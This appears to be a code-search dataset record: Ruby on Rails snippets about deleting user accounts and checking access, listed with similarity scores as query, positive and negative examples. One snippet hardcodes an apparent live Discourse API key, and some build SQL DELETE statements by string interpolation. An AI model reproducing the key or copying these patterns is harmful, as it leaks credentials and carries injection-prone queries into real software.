"def show\n @can_edit = false\n if user_signed_in?\n @my_pre = Preference.find_by user_id: current_user.id\n @my_pro = Profile.find_by user_id: current_user.id\n @similars = find_similar\n\n if current_user.admin?\n @can_edit = true\n elsif current_user.editor? && @post.owner == current_user.id\n @can_edit = true\n end\n end\n end",
"def redirect_to_profile_if_logged_in\n if current_user && !current_user.admin?\n redirect_to user_path(current_user) and return\n end\n end",
"def acquaintance_rights?(user_to_display)\n allowed_to_view_profile = false\n\n if current_user\n if current_user.id==user_to_display.id || current_user.has_system_role('moderator')\n allowed_to_view_profile = true\n else\n #check if both current user and user to display are facebook users in order to use the friends system\n if current_user.facebook_user? && user_to_display.facebook_user?\n current_fb_user = Facebooker::User.new(current_user.fb_user_id)\n if current_fb_user.friends_with?(user_to_display.fb_user_id)\n allowed_to_view_profile = true\n end\n end\n end\n end\n\n return allowed_to_view_profile\n end",
"def show\n @user = User.find(params[:id])\n return access_denied unless (authorize?(permissions = [\"view_user\"]) || (authorize?(permissions = [\"view_own_user\"]) && @user.id == current_user.id))\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def profile\n if(current_user)\n render 'layouts/loggedin'\n else\n render \"layouts/guest\"\n end\n end",
"def show\n\n #Make sure only logged in admins can manipulate users\n\n if @loggedinuser && @loggedinuser.authorizationlevel >= 4\n \t@user = User.find(params[:id])\n else \n redirect_to '/'\n end\n end",
"def show?\n user_is_owner_or_admin? || user_is_professional?\n end",
"def edit_profile\n \t@user = current_user\n end",
"def show?\n user.try(:admin?) || record.has_member?(user) \n end",
"def users_only\n redirect_to band_path(current_user.accountable) if is_band\n end",
"def user_access\n @account = current_user.admin? ? Account.find(params[:id]) : current_user.accounts.find(params[:id])\n\n check_user_access(@account.user_id)\n\n rescue\n flash_access_denied\n end",
"def set_user_profile\n @user_profile = User.find(params[:id])\n authorize @user_profile\n end",
"def belongs_to_current_profile_user?\n !!(@current_user.id == @user.id)\n end",
"def belongs_to_current_profile_user?\n !!(@current_user.id == @user.id)\n end",
"def viewable_for (profile)\n self.by_membership_id(profile.id)\n end",
"def verify_user!\n @profile = current_user.profile\n end"
] |
[
"0.82277584",
"0.7772167",
"0.77507114",
"0.773031",
"0.75985533",
"0.7583857",
"0.7562777",
"0.7550676",
"0.74464935",
"0.7411911",
"0.73391086",
"0.7322837",
"0.7296186",
"0.71080685",
"0.7096989",
"0.70836824",
"0.7077489",
"0.70616287",
"0.7050788",
"0.70402366",
"0.70325893",
"0.70173407",
"0.70106006",
"0.69974697",
"0.6987353",
"0.69830656",
"0.6977225",
"0.6961135",
"0.69585556",
"0.69562817",
"0.69555753",
"0.6948677",
"0.6924151",
"0.6924145",
"0.6923912",
"0.69205385",
"0.69129014",
"0.68921036",
"0.68820167",
"0.68766105",
"0.6874067",
"0.6869963",
"0.685225",
"0.6851495",
"0.6849717",
"0.6849264",
"0.6843445",
"0.68397295",
"0.6839363",
"0.6805803",
"0.6803845",
"0.6788589",
"0.6771043",
"0.6761025",
"0.6751887",
"0.67452294",
"0.67445266",
"0.6735145",
"0.6728551",
"0.672275",
"0.6700613",
"0.6690699",
"0.6675163",
"0.66741776",
"0.6664333",
"0.66631466",
"0.6660891",
"0.6660503",
"0.665423",
"0.6645844",
"0.664224",
"0.66398954",
"0.6630152",
"0.6625222",
"0.66220486",
"0.6620621",
"0.6620056",
"0.66095245",
"0.6609405",
"0.6609349",
"0.66060185",
"0.66059625",
"0.66038245",
"0.6601432",
"0.6601432",
"0.6600581",
"0.65908617",
"0.6585893",
"0.65837365",
"0.6582798",
"0.65805715",
"0.6570707",
"0.65618163",
"0.65530324",
"0.65513587",
"0.6549842",
"0.6548959",
"0.6546986",
"0.6546986",
"0.6544848",
"0.6541702"
] |
0.0
|
-1
|
delete account: user and admins in rare occasions
|
def destroy
@user = current_user
@user.destroy
session[:user_id] = nil
flash[:alert] = "Account has been deleted"
redirect_to plants_path
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_accounts\n end",
"def destroy\n flash[:error] = 'Accounts can only be deleted by admins!'\n redirect_to edit_user_registration_path\n end",
"def delete_account_helper\n current_user = User.find(self.user.id)\n current_user.delete\n puts \"Your account has successfully been deleted.\"\n sleep(2)\n welcome\n end",
"def delete_user_account\n # delete their favorites before deleting user\n User.all.destroy(current_user.id)\n puts \"\n Your account have been removed! I will never tell, xoxo\n \"\n \n end",
"def delete_account\n @connection.request({\n :method => 'DELETE'\n }) \n end",
"def delete_account\n @connection.request({\n :method => 'DELETE'\n })\n end",
"def delete_user_account\n # delete their favorites before deleting user\n # list_to_delete = Favorite.where(user_id:current_user.id)\n binding.pry\n User.all.destroy(current_user.id)\n puts \"Your account have been removed! I will never tell, xoxo\"\n end",
"def destroy\n # destroy not implemented - only admins may \"purge\" or \"delete\" users\n raise \"This action is not implemented\"\n end",
"def destroy\n if @user.admin == true\n flash[:danger] = \"You cannot delete an admin\"\n redirect_to users_path\n else\n flash[:success] = \"Delete success\"\n Antenna.where(user_id: @user.id).delete_all\n OwnBox.where(user_id: @user.id).delete_all\n OwnDevice.where(user_id: @user.id).delete_all\n @user.destroy\n redirect_to users_path\n end\n end",
"def safe_delete\n transaction do\n destroy\n if Users.count.zero?\n raise \"The application has to have at least one account.\"\n end\n end\n end",
"def delete_user\n end",
"def delete\n Authentication.where(user_id: id).each { |auth| auth.delete }\n super\n end",
"def remove_account\n if request.get? then\n render :remove_account and return\n end\n\n if request.delete? then\n if logged_user.admin? then\n render_403 and return\n end\n if logged_user.student? then\n if params[:remove_comments] then\n Comment.destroy_all(user_id: logged_user.id)\n end\n if params[:remove_feedbacks] then\n Feedback.destroy_all(student_id: logged_user.student.id)\n end\n end\n logged_user.update_attributes({ removed: true, account_type: nil })\n # Выход из системы\n clear_user_session\n redirect_to :login, alert: t('settings.account_removed')\n end\n end",
"def admin_deny_user\n @user.destroy\n redirect_to admin_path, notice: \"User Denied and Account Deleted\"\n end",
"def dont_delete_admin\n\t\t raise \"You cannot delete the last admin\" if self.id == 1 || User.count == 1\n\t end",
"def delete\n\t\tcurrent_user\n\t\tcurrent_user.regexpressions.destroy_all\n\t\tcurrent_user.tasks.destroy_all\n\t\tcurrent_user.clouds.destroy_all\n\t\tcurrent_user.platforms.destroy_all\n\t\tcurrent_user.demos.destroy_all\n\t\tcurrent_user.favorites.destroy_all\n\tend",
"def destroy_user(id)\n #TODO:\n # ADD SOME USER LEVEL TO AVOID THESE\n end",
"def delete_confirm\n return appctrl_not_permitted() unless ( @current_user.admin? )\n\n # Nobody can delete admin accounts. You must assign the admin\n # privilege to someone else, then, since you can't revoke your\n # own admin privileges either, have the new admin change your\n # account type and delete the user record. This is a good way\n # of ensuring that there is always at least one admin.\n\n @record = User.find( params[ :id ] )\n return appctrl_not_permitted() if ( @record.admin? )\n\n @record.destroy()\n\n flash[ :notice ] = 'User and all associated data deleted'\n redirect_to( users_path() )\n end",
"def delete_account(client, options)\n accounts = get_accounts(client, options)\n if accounts.nil?\n return\n end\n\n account = find_account(accounts, options[:email])\n if !account.nil?\n account.delete\n puts \"Account deleted.\"\n else\n puts \"Account not found.\"\n return\n end\nend",
"def delete_user(id)\n elektron_identity.delete(\"users/#{id}\")\n end",
"def delete\n authenticated('/account') do\n enforce_method! :POST\n assert_params :confirm, :custid\n if req.params[:confirm] && cust.custid == req.params[:custid]\n cust.destroy!\n res.delete_cookie :sess\n sess.destroy! :all\n @cust = Stella::Customer.anonymous\n @sess = Stella::Session.new\n Stella::Analytics.event \"Delete account\"\n res.redirect '/'\n else\n sess.add_info_message! \"Account was not deleted. You must click confirm.\"\n res.redirect '/account'\n end\n end\n end",
"def Elimina_Utente()\n Category.delete_all(user_id: self.id)\n Dish.delete_all(user_id: self.id)\n Ingredient.delete_all(user_id: self.id)\n Medium.destroy_all(user_id: self.id)\n Menu.delete_all(user_id: self.id)\n Profile.destroy_all(user_id: self.id)\n self.destroy()\n end",
"def delete_account_user(id)\n post(\"accountuser/#{id}?_method=DELETE\")\n end",
"def destroy\n @account.destroy\n end",
"def destroy\n UserService.deleteUser(params[:id],current_admin[:id])\n redirect_to users_path\n end",
"def destroy\n empty_searched_admin_id\n empty_user_id\n session[:admin_id] = nil\n sign_out_admin\n redirect_to admin_login_path\n end",
"def delete_account(id)\n delete(\"accounts/#{id}\")\n end",
"def destroy\n @auth_user.destroy\n end",
"def purge\n @user.destroy\n redirect_to admin_users_path\n end",
"def destroy\n @account.destroy\n redirect_to root_path\n end",
"def destroy\n if @user.authority == '2'\n flash[:danger] = 'Pre-configured Admin Cannot Be Deleted'\n redirect_to users_path\n elsif @user.email == current_user.email\n flash[:danger] = 'Oops. Don\\'t Delete Yourself'\n redirect_to users_path\n else\n sql = \"delete from histories where email = '#{@user.email}' and (date > '#{Time.now.to_date}' or (date = '#{Time.now.to_date}' and begintime > '#{Time.now.hour}' ))\"\n h = History.find_by_sql(sql)\n @user.destroy\n redirect_to users_path\n flash[:success] = 'User Was Successfully Deleted'\n end\n end",
"def delete\n connection.delete_user id\n nil\n end",
"def destroy\n\t\tif $user.id.to_i==params[:id].to_i\n\t\t User.destroy(params[:id])\n\t\t\t$user=nil\n\t\t\t$helper=false\n\t\t\tis_user_logged_in?\n\t\t\tflash[:notice]=\"You deleted your own account\"\n\t\telse\n\t\t\tUser.destroy(params[:id])\n\t\t\tredirect_to \"/users\"\n\t\t\tis_user_logged_in?\n\t\tend\n end",
"def delete_db_post account\n # Tell the user\n puts \"> Tar bort kontot från databasen\".green\n\n # Connect to the database\n conn = PG.connect( dbname: DB_DATABASE_NAME, user: DB_USER, password: DB_PASSWORD )\n\n # Delete the account\n res = conn.exec \"DELETE FROM #{DB_ACCOUNTS_TABLE} WHERE userid = '#{account['userid']}'\" unless $simulate\n\n # Close the connection\n conn.close\nend",
"def destroy\n @account = Account.find(params[:id])\n comments = Comment.where('accounts_id = ?',@account.id)\n comments.destroy_all\n if @account.user_id != current_user.id\n raise Forbidden\n end\n \n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to accounts_url }\n format.json { head :no_content }\n end\n end",
"def delete_user(username, removehome=false)\n\t\t\tend",
"def delete_admin(id)\n @m = Member.find_by_society_id_and_user_id(self.id, id)\n if @m == nil then return end\n \n if @m.admin \n @m.admin = false\n @m.save\n\t\t\tadd_post(id, \"Administrator status revoked\")\n end\n end",
"def delete\n self.users.each do |id|\n user = User.find_by_id(id)\n next if user.nil?\n user.databases.delete(self._id)\n user.working_db_id = nil if user.working_db == self\n user.save\n end\n super\n end",
"def clear_administrator_accounts\n Administrator.destroy_all\n end",
"def destroy\n\n begin\n\n @account = Account.find_by_email(params[:id])\n @account = Account.find(params[:id]) if @account.nil?\n\n Account.transaction do\n\n @account.status = VersaFile::AccountStates.Deleted\n @account.created_by = @super_user.name\n @account.updated_by = @super_user.name\n\n unless @account.save\n raise @account.errors.full_messages().join(';')\n end\n\n end\n\n respond_to do |format|\n format.html { redirect_to @account, notice: 'Account was successfully deleted.' }\n format.json { render :text => \"\" }\n end\n\n rescue => e\n logger.error \"Account deletion failed => #{e.message}\"\n respond_to do |format|\n format.json { render :json => e.message, :status => :unprocessable_entity }\n end\n end\n\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to(admin_users_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted user #{@user.name}\")\n end",
"def destroy\n @user = User.find(params[:id])\n if @user.tasks.present?\n Task.where(user_id: params[:id]).destroy_all\n end\n if @user.id == current_user.id\n redirect_to admin_users_url, notice: \"You can not delete signed in user\"\n @admin = User.admin\n elsif @admin == 1\n redirect_to admin_users_url, notice: \"Atleast one admin must remain!\"\n else\n @user.destroy\n redirect_to admin_users_url, notice: 'User was successfully destroyed.'\n end\n end",
"def delete\n appctrl_delete( 'User' )\n end",
"def delete_account\n @user = current_user\n if @user.twitter_account.destroy\n flash[:notice] = 'You are not connected to twitter anymore $green'\n else \n flash[:notice] = 'Something went wrong. Please try again $red'\n end \n redirect_to controller: 'users', action: 'connect_social_accounts'\n end",
"def destroy\n @user = User.find(params[:id])\n\n # Special-case code that comes from devctm_template that you will want\n # to remove when you use a more sophisticated authorization system\n\n if @user.admin?\n\n # The rationale for not allowing an admin account to be deleted\n # when we have a very simplistic idea of an admin account is to\n # avoid the situation where there no longer is an admin account\n # because of accidental deletion. This may be acceptable for\n # simple apps and this code is easily deleted once it gets in\n # the way.\n\n respond_to do |format|\n format.html do\n flash[:notice] = 'An admin account may not be deleted.'\n redirect_to(admin_users_url)\n end\n format.xml do\n @user.errors.add_to_base('An admin account may not be deleted')\n render :xml => @user.errors, :status => :forbidden\n end\n end\n else\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_users_url) }\n format.xml { head :ok }\n end\n end\n end",
"def destroy\n if (!current_groupee.nil? && current_groupee.admin?)\n groupee = Groupee.find_by_username(params[:id])\n #ensures that an admin can not delete another admin\n if !groupee.admin?\n groupee.destroy\n redirect_to groupees_path, :notice => \"Groupee account was deleted\"\n else\n redirect_to groupees_path\n end\n else\n render \"shared/403\"\n end\n end",
"def delete_account email\n # Get the account info\n account = get_account_for email\n\n # Include the name, if there is any\n n = account['realname'] == '' ? '' : \"<#{account['realname']}> \"\n\n # Ask the user if the user is sure\n puts \"Kommer att ta bort kontot (inklusive alla mail etc) för #{n}#{email}!\".yellow\n begin\n ans = ask_user \"Är du helt säker på att du vill ta bort kontot? [ja/j] \", false\n end while ans == \"\"\n\n exit unless ['y', 'j', 'yes', 'ja'].include? ans.downcase\n\n # Do the deletion, one step at a time\n delete_db_post account\n delete_directories account\nend",
"def delete\r\n Marketplace::Database.instance.call_users(self)\r\n Marketplace::Database.instance.delete_user(self)\r\n ImageUploader.delete_image(self.picture, settings.root) if self.picture != nil\r\n items = Marketplace::Database.instance.items_by_user(self)\r\n items.each{ |item| item.delete }\r\n end",
"def cleanup\n cleanup_accounts\n end",
"def undo_update\n # CreateDefaultAdminUser.where(:type_code => 'very_shiny').first.delete\n end",
"def destroy \n if !current_user.isScrumMasterOrProductOwner?\n if !current_user.isAdmin?\n if current_user.id == @user.id\n borrar\n else\n redirect_to(root_path, notice: \"You can not delete other users\")\n end\n else\n if User.where(:role => \"admin\").count > 1 or @user.role == \"user\"\n borrar\n else\n redirect_to(users_path, notice: \"It is not allowed to delete the admin\")\n end\n end\n else\n redirect_to(root_path, notice: \"It is not allowed to delete users while being a Scrum Master or Product Owner\")\n end\n end",
"def delete_user\n begin\n if @kernel_version_major < 11\n guid = @user['generateduid'][0].to_ruby\n password_hash_file = \"#{@@password_hash_dir}/#{guid}\"\n FileUtils.rm_rf(password_hash_file)\n end\n FileUtils.rm_rf(@file)\n rescue Puppet::ExecutionFailure => detail\n fail(\"Could not destroy the user account #{resource[:name]}: #{detail}\")\n end\n end",
"def destroy\n # allows admin to destroy users w/o being logged out themselves\n if @user.id == current_user.id\n reset_session\n @user.destroy\n flash[:notice] = \"You've successfully deleted your account.\"\n redirect_to preview_path\n else\n @user.destroy\n flash[:notice] = \"User successfully destroyed.\"\n redirect_to last_delete_url\n end\n end",
"def destroy\n user.destroy\n end",
"def destroy\n log_record('users/delete', current_user.id)\n super\n end",
"def delete\n\n @cook = User.find(params[:id])\n @cook.remove_role :waiter\n \n @cookaccounts = AdminCookAccount.where(id_cook: @cook.id)\n @cookaccounts.delete_all\n\n redirect_to admin_cooks_url\n\n end",
"def destroy\n if User.find(params[:id]).admin?\n redirect_to users_url\n else\n User.find(params[:id]).delete\n flash[:sucess] = \"User deleted\"\n redirect_to users_url\n end\n end",
"def delete_user_for_tenant(args = {}) \n delete(\"/tenants.json/#{args[:tenantId]}/users/#{args[:userId]}\", args)\nend",
"def destroy\n @user = User.find(params.require(:id))\n\n if @user == current_user\n flash[:alert] = t('users.msg.cannot_delete_yourself')\n raise 'Cannot delete yourself'\n end\n\n # delete user from zabbix\n begin\n @user.zabbix_servers.each do |s|\n z = Zabbix.new(s.fqdn, current_user.email, current_user.encrypted_password)\n z.delete_user(@user.email)\n end\n rescue StandardError => ex\n flash[:alert] = I18n.t('users.msg.error', msg: ex.message)\n raise\n end\n\n # delete user from SkyHopper\n @user.destroy\n\n flash[:notice] = t('users.msg.deleted', name: @user.email)\n redirect_to(action: :index)\n end",
"def destroy\n if @current_user.id = @user.id\n log_out (@current_user)\n end\n @user.destroy\n if @current_user.admin?\n redirect_to users_url\n else\n redirect_to root_url\n end\n end",
"def destroy\n begin\n client = DiscourseApi::Client.new(\"https://intranet.cuhappycorner.com\")\n client.api_key = \"1729b13700d45e58d2e3d81c1bee5431a5167244e75389c07bb613fae54777ee\"\n client.api_username = \"ckho\"\n user = client.by_external_id(current_user.id)\n client.log_out(user[\"id\"]) if user\n rescue\n # nothing\n ensure\n super\n end\n end",
"def rem_admin oid\n self.admins.delete oid\n end",
"def ensure_not_accountant\n raise \"Cannot delete user '#{name}'. The user is the accountant of the company.\" unless company.accountant_id != id\n end",
"def destroy\n \t#call logout method in admin_helper but only if we r loggedin\n \tlog_out if logged_in?\n \t#redirect him to homepage\n \tredirect_to root_path\n end",
"def destroy\n @admin_account = AdminAccount.find(params[:id])\n begin\n flash[:notice] = \"Admin #{@admin_account.name} deleted\"\n @admin_account.destroy\n rescue Exception => e\n flash[:notice] = e.message\n end\n\n respond_to do |format|\n format.html { redirect_to(admin_accounts_url) }\n format.xml { head :ok }\n end\n end",
"def delete_user(uid)\n @client.post(with_path(\"accounts:delete\"), {localId: validate_uid(uid, required: true)})\n end",
"def delete_user\n client.delete(user)\n end",
"def destroy\n flash[:notice] = \"Destroying accounts is not enabled.\"\n redirect_to root_path\n end",
"def delete_users\n delete(users_path)\n end",
"def destroy\n\t\t@user.delete\n\tend",
"def destroy\n\n #Make sure only logged in admins can manipulate users\n\n if @loggedinuser && @loggedinuser.authorizationlevel >= 4\n @user = User.find(params[:id])\n if (@user)\n @user.destroy\n end\n redirect_to :action => 'index'\n else\n redirect_to '/'\n end \n end",
"def destroy\n current_user.destroy\n redirect_to site_root_url\n end",
"def delete_account\n UserMailer.delete_account(current_user, confirm_delete_users_url(code: ApplicationHelper.encrypt_text(\"#{Date.today}::#{current_user.id}\"))).deliver_later\n redirect_to :back, notice: 'We sent you an email to confirm your request. Please review your email and confirm the action.'\n end",
"def destroy\n reset_session\n flash[:success] = \"Account has been deleted.\"\n User.find(params[:id]).destroy\n redirect_to(new_user_path)\n end",
"def destroy\n @user = User.find(params[:id])\n if @user.company.owner != @user\n\t @user.groups.each do |g|\n\t\t # destroy groups, where user is only member\n\t\t if g.users.count == 1 && g.users.first == @user\n\t\t\t g.posts.destroy_all\n\t\t\t g.destroy\n\t\t end\n\t end\n\t @user.posts.destroy_all\n\t @user.destroy\n else\n\t redirect_to root_path, alert: \"You can't delete your account, while you're the owner of your company.\"\n\t\t\treturn\n end\n\n respond_to do |format|\n format.html { redirect_to root_path, notice: \"Your account has been cancelled.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n user = User.find(params[:id])\n # if admin tries to delete himself\n if current_user?(user)\n flash[:error] = \"Admins are not allowed to self destruct\"\n redirect_to users_path\n else\n user.destroy\n flash[:success] = \"User #{user.name} was successfully deleted.\"\n redirect_to users_path\n end\n end",
"def delete_account\n @user = current_user\n if @user.flickr_account.destroy\n flash[:notice] = 'You are not connected to flickr anymore $green'\n else \n flash[:notice] = 'Something went wrong. Please try again $red'\n end \n redirect_to controller: 'users', action: 'connect_social_accounts'\n end",
"def delete\n @user = User.find(params[:id])\n @user.destroy if @user!=nil # TODO maybe set status to 0 as deleted instead of removing entry\n flash[:notice] = \"User '#{@user.username}' deleted successfully.\"\n\n # when admin delete himself\n if session[:user_id]== @user.id\n session[:user_id] = nil\n session[:username] = nil\n end\n redirect_to(:action => 'list')\n end",
"def destroy\n @user = User.find(params[:id])\n @user.delete!\n\n redirect_to admin_users_path\n end",
"def destroy\n @user = User.find(params[:id])\n @user.delete!\n\n redirect_to admin_users_path\n end",
"def before_destory\n if User.count(:all, :conditions => [\"is_superuser = 1 and active = 1\"]) <= 1\n errors.add_to_base \"Cannot delete #{self.username.upcase} because it is the last admin user\"\n return false\n else\n return true\n end\n end",
"def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to admin_accounts_alumnis_path, notice: 'Alumni was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n admin = Admin.where(id: params[:id]).first\n admin.deleted_at = Time.now\n admin.deleted_time = Time.now.to_i\n admin.deleted_user = 1\n if admin.save\n flash[:notice] = 'ユーザー情報を削除しました'\n render json: { success: true }\n else\n flash[:error] = 'ユーザー情報の削除に失敗しました'\n render json: { success: false }\n end\n end",
"def deleteuser(del_id)\n db.execute(\"DELETE FROM users WHERE user_id=?\", del_id)\n db.execute(\"DELETE FROM listings WHERE user_id=?\", del_id)\nend",
"def destroy\n current_user.destroy\n json_response({ message: Message.account_deleted }.to_json)\n end",
"def delete_user(id)\n get_user_byid(id).destroy\n end",
"def destroy\n @user.destroy\n sign_out if @user == current_user\n redirect_to root_path, notice: \"#{@user.email} deleted\"\n end",
"def delete_account(account_id)\n delete(\"account/#{account_id}\")\n end",
"def destroy\n if @user == current_user or @user.super_admin?\n return redirect_to super_admin_users_path, alert: 'Super Admins cannot be deleted'\n end\n @user.destroy\n respond_to do |format|\n format.html { redirect_to super_admin_users_path, notice: 'Super Admin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_account\n puts 'Woah there! Deleting your account is serious business, and cannot be undone.'.colorize(:light_red)\n selection = @prompt.yes?('Are you sure you want to delete your account?'.colorize(:light_red))\n if selection\n delete_from_file\n else\n menu = Menu.new(Login.user)\n menu.account_details\n end\n end",
"def destroy\n authorize! :destroy, @user, :message => 'You are not authorized to perform this operation.'\n user = User.find(params[:id])\n unless user == current_user\n user.destroy\n redirect_to users_path, :notice => \"User deleted. #{undo_link}\"\n else\n redirect_to users_path, :notice => \"Can't delete yourself.\"\n end\n\n end",
"def destroy\n if @user.destroy\n flash[:notice] = I18n.t('flash.user.delete_account_success')\n redirect_to root_path\n else\n flash[:notice] = I18n.t('flash.general_error')\n redirect_to user_path(@user.id)\n end\n end",
"def destroy\n user = User.find(params[:id])\n # Works\n if (current_user == user) && (!current_user.admin?)\n user.destroy\n flash[:success] = \"Your profile and related stories are gone.\"\n # Works\n elsif (current_user == user) && (current_user.admin?)\n flash[:error] = \"Cannot delete own admin account\"\n elsif (current_user != user) && (!current_user.admin?)\n flash[:error] = \"You cannot delete other users.\"\n elsif (current_user != user) && (current_user.admin?)\n user.destroy\n flash[:success] = \"User and related posts destroyed.\"\n end\n redirect_to root_path\n end",
"def destroy\n __log_activity(\"LOGOUT #{current_user}\")\n __debug_route\n __debug_request\n user = current_user&.account&.dup\n opt = BS_AUTH ? { no_revoke: true?(params[:no_revoke]) } : {}\n delete_auth_data(**opt)\n super\n api_clear(user: user)\n set_flash_notice(user: user, clear: true)\n rescue => error\n auth_failure_redirect(message: error)\n end",
"def test_user_delete\n # Get the user info\n user = get_user_by_username('test-ruby-user12356')\n # Check to see if the returned user was the correct one.\n # Doubles to check whether the returned data exists in a proper form\n assert_equal('test-ruby-user12356', user['UserName'])\n # Delete the user based upon the returned user's id\n ap delete_user_data(user['UserId'])\n # assert if referencing this user, again, causes an error.\n user = get_user_by_username('test-ruby-user12356')\n assert_raise { delete_user_data(user['UserId']) }\n end",
"def del_user login\n Command.new(\"deluser #{login} --remove-home -q\", check_file('/home/login', false))\n end",
"def ensure_if_admin_remains\n raise \"Can't delete last admin user.\" if User.count.zero?\n end",
"def ensure_if_admin_remains\n raise \"Can't delete last admin user.\" if User.count.zero?\n end",
"def delete\n CONNECTION.execute(\"DELETE FROM users WHERE id = #{self.id};\")\n end",
"def delete\n user = getUserByAuthToken(request)\n user.soft_delete\n head :no_content\n end",
"def destroy\n @account.destroy\n redirect_to root_path, notice: 'Account was successfully destroyed.'\n end"
] |
[
"0.7862512",
"0.7573379",
"0.7544054",
"0.73403275",
"0.7328477",
"0.7300385",
"0.72429764",
"0.72277313",
"0.7212393",
"0.72106904",
"0.71995294",
"0.71947587",
"0.71455735",
"0.71380955",
"0.70928735",
"0.70025",
"0.69793534",
"0.69352704",
"0.6891332",
"0.6863419",
"0.6847512",
"0.68464184",
"0.68132734",
"0.68040115",
"0.68002295",
"0.67746294",
"0.67742777",
"0.67608243",
"0.6758203",
"0.6753646",
"0.67504215",
"0.67304957",
"0.67297876",
"0.6721435",
"0.6704709",
"0.67020327",
"0.6683931",
"0.6682164",
"0.6673291",
"0.6672112",
"0.6667396",
"0.66657734",
"0.66655654",
"0.6660117",
"0.6658906",
"0.6654788",
"0.6652076",
"0.66494566",
"0.6648274",
"0.66457456",
"0.66418916",
"0.66379344",
"0.663376",
"0.6626605",
"0.6624288",
"0.66217893",
"0.66113806",
"0.6610085",
"0.66053087",
"0.66010594",
"0.6599314",
"0.65880626",
"0.6581524",
"0.6578492",
"0.657746",
"0.6565347",
"0.6563259",
"0.6560791",
"0.6557416",
"0.6552443",
"0.6548935",
"0.65460974",
"0.653399",
"0.65291715",
"0.6519528",
"0.6518561",
"0.65158486",
"0.65149105",
"0.65147513",
"0.65147513",
"0.650574",
"0.649636",
"0.6493111",
"0.6487174",
"0.6479789",
"0.6479404",
"0.6476336",
"0.64748484",
"0.64606804",
"0.6456227",
"0.645415",
"0.64514893",
"0.6449173",
"0.6448489",
"0.64371985",
"0.64357466",
"0.6435238",
"0.6435238",
"0.6429244",
"0.6428566",
"0.64258975"
] |
0.0
|
-1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.